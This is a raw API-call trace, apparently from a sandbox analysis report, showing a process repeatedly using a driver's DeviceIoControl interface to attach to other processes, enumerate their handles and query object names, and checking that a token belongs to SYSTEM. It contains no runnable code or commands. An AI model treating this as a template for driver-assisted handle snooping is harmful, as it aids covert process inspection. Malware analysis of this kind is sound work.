HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.821] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.821] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0131.821] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.821] PsAcquireProcessExitSynchronization () returned 0x0 [0131.821] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880050005d0) [0131.821] ObReferenceObjectByHandle (in: Handle=0x1a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003109240, HandleInformation=0x0) returned 0x0 [0131.821] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.821] PsReleaseProcessExitSynchronization () returned 0x2 [0131.821] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3d [0131.821] ObQueryNameString (in: Object=0xfffffa8003109240, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.821] ObfDereferenceObject (Object=0xfffffa8003109240) returned 0x2 [0131.821] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.821] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.821] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.821] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0131.821] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.821] PsAcquireProcessExitSynchronization () returned 0x0 [0131.821] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880050005d0) [0131.822] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031081a0, HandleInformation=0x0) returned 0x0 [0131.822] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.822] PsReleaseProcessExitSynchronization () returned 0x2 [0131.822] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3d [0131.822] ObQueryNameString (in: Object=0xfffffa80031081a0, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.822] ObfDereferenceObject (Object=0xfffffa80031081a0) returned 0x1 [0131.822] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.822] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.822] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.822] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0131.822] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.822] PsAcquireProcessExitSynchronization () returned 0x0 [0131.822] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880050005d0) [0131.822] ObReferenceObjectByHandle (in: Handle=0x1a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800310bc90, HandleInformation=0x0) returned 0x0 [0131.822] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.822] PsReleaseProcessExitSynchronization () returned 0x2 [0131.822] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3d [0131.822] ObQueryNameString (in: Object=0xfffffa800310bc90, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.822] ObfDereferenceObject (Object=0xfffffa800310bc90) returned 0x1 [0131.822] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.822] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.822] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.822] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0131.822] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.822] PsAcquireProcessExitSynchronization () returned 0x0 [0131.822] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880050005d0) [0131.822] ObReferenceObjectByHandle (in: Handle=0x21c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80032199e0, HandleInformation=0x0) returned 0x0 [0131.822] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.822] PsReleaseProcessExitSynchronization () returned 0x2 [0131.822] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3d [0131.822] ObQueryNameString (in: Object=0xfffffa80032199e0, ObjectNameInfo=0xfffffa800226b044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800226b044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.822] ObfDereferenceObject (Object=0xfffffa80032199e0) returned 0x11 [0131.822] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.823] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.823] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x250) returned 0xc0 [0131.823] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0131.823] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa800305ab30, HandleInformation=0x0) returned 0x0 [0131.823] ObOpenObjectByPointer (in: Object=0xfffffa800305ab30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800006d4) returned 0x0 [0131.823] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x86 [0131.823] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800006d4, DesiredAccess=0x8, TokenHandle=0xfffffa800289e880 | out: TokenHandle=0xfffffa800289e880*=0xc8) returned 0x0 [0131.823] ZwClose (Handle=0xffffffff800006d4) returned 0x0 [0131.823] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.823] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0131.823] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0131.824] CloseHandle (hObject=0xc8) returned 1 [0131.824] CloseHandle (hObject=0xc0) returned 1 [0131.824] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.824] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0131.824] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.824] PsAcquireProcessExitSynchronization () returned 0x0 [0131.824] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880050005d0) [0131.824] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030bf6c0, HandleInformation=0x0) returned 0x0 [0131.825] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.825] PsReleaseProcessExitSynchronization () returned 0x2 [0131.825] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0131.825] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.825] ObfDereferenceObject (Object=0xfffffa80030bf6c0) returned 0x1 [0131.825] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.825] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.825] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.825] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0131.825] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.825] PsAcquireProcessExitSynchronization () returned 0x0 [0131.825] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880050005d0) [0131.825] ObReferenceObjectByHandle (in: Handle=0x6c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030d0d00, HandleInformation=0x0) returned 0x0 [0131.825] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.825] PsReleaseProcessExitSynchronization () returned 0x2 [0131.825] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0131.825] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8002512544, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002512544, ReturnLength=0xfffff88005000508) returned 0x0 [0131.825] ObfDereferenceObject (Object=0xfffffa80030d0d00) returned 0x1 [0131.825] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.825] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.825] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.825] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0131.825] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.825] PsAcquireProcessExitSynchronization () returned 0x0 [0131.825] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880050005d0) [0131.825] ObReferenceObjectByHandle (in: Handle=0x280, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030cbf20, HandleInformation=0x0) returned 0x0 [0131.825] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.825] PsReleaseProcessExitSynchronization () returned 0x2 [0131.825] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0131.825] ObQueryNameString (in: Object=0xfffffa80030cbf20, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.826] ObfDereferenceObject (Object=0xfffffa80030cbf20) returned 0x1 [0131.826] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.826] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.826] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.826] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0131.826] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.826] PsAcquireProcessExitSynchronization () returned 0x0 [0131.826] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880050005d0) [0131.826] ObReferenceObjectByHandle (in: Handle=0x284, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030cbc80, HandleInformation=0x0) returned 0x0 [0131.826] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.826] PsReleaseProcessExitSynchronization () returned 0x2 [0131.826] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0131.826] ObQueryNameString (in: Object=0xfffffa80030cbc80, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005000550) returned 0x0 [0131.826] ObfDereferenceObject (Object=0xfffffa80030cbc80) returned 0x2 [0131.826] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.826] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.826] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.826] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0131.826] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.826] PsAcquireProcessExitSynchronization () returned 0x0 [0131.826] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880050005d0) [0131.826] ObReferenceObjectByHandle (in: Handle=0x288, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030cbb30, HandleInformation=0x0) returned 0x0 [0131.826] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.826] PsReleaseProcessExitSynchronization () returned 0x2 [0131.826] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0131.826] ObQueryNameString (in: Object=0xfffffa80030cbb30, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.827] ObfDereferenceObject (Object=0xfffffa80030cbb30) returned 0x1 [0131.827] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.827] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.827] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.827] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0131.827] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.827] PsAcquireProcessExitSynchronization () returned 0x0 [0131.827] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880050005d0) [0131.827] ObReferenceObjectByHandle (in: Handle=0x370, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030d1230, HandleInformation=0x0) returned 0x0 [0131.827] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.827] PsReleaseProcessExitSynchronization () returned 0x2 [0131.827] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0131.827] ObQueryNameString (in: Object=0xfffffa80030d1230, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.827] ObfDereferenceObject (Object=0xfffffa80030d1230) returned 0x1 [0131.827] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.827] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.827] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.827] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0131.827] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.827] PsAcquireProcessExitSynchronization () returned 0x0 [0131.827] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880050005d0) [0131.827] ObReferenceObjectByHandle (in: Handle=0x428, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0131.827] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.827] PsReleaseProcessExitSynchronization () returned 0x2 [0131.827] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0131.827] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.827] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0131.827] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.827] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.827] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.828] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0131.828] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.828] PsAcquireProcessExitSynchronization () returned 0x0 [0131.828] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880050005d0) [0131.828] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a004a24140, HandleInformation=0x0) returned 0x0 [0131.828] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.828] PsReleaseProcessExitSynchronization () returned 0x2 [0131.828] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0131.828] ObQueryNameString (in: Object=0xfffff8a004a24140, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.828] ObfDereferenceObject (Object=0xfffff8a004a24140) returned 0x3 [0131.828] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.828] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.828] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.828] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0131.828] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.828] PsAcquireProcessExitSynchronization () returned 0x0 [0131.828] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880050005d0) [0131.828] ObReferenceObjectByHandle (in: Handle=0x468, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a004a98830, HandleInformation=0x0) returned 0x0 [0131.828] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.828] PsReleaseProcessExitSynchronization () returned 0x2 [0131.828] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0131.828] ObQueryNameString (in: Object=0xfffff8a004a98830, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.828] ObfDereferenceObject (Object=0xfffff8a004a98830) returned 0x2 [0131.828] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.828] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.828] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.828] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0131.828] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.828] PsAcquireProcessExitSynchronization () returned 0x0 [0131.828] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880050005d0) [0131.828] ObReferenceObjectByHandle (in: Handle=0x488, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800312fbb0, HandleInformation=0x0) returned 0x0 [0131.828] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.828] PsReleaseProcessExitSynchronization () returned 0x2 [0131.828] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0131.829] ObQueryNameString (in: Object=0xfffffa800312fbb0, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.829] ObfDereferenceObject (Object=0xfffffa800312fbb0) returned 0x11 [0131.829] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.829] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.829] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.829] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: 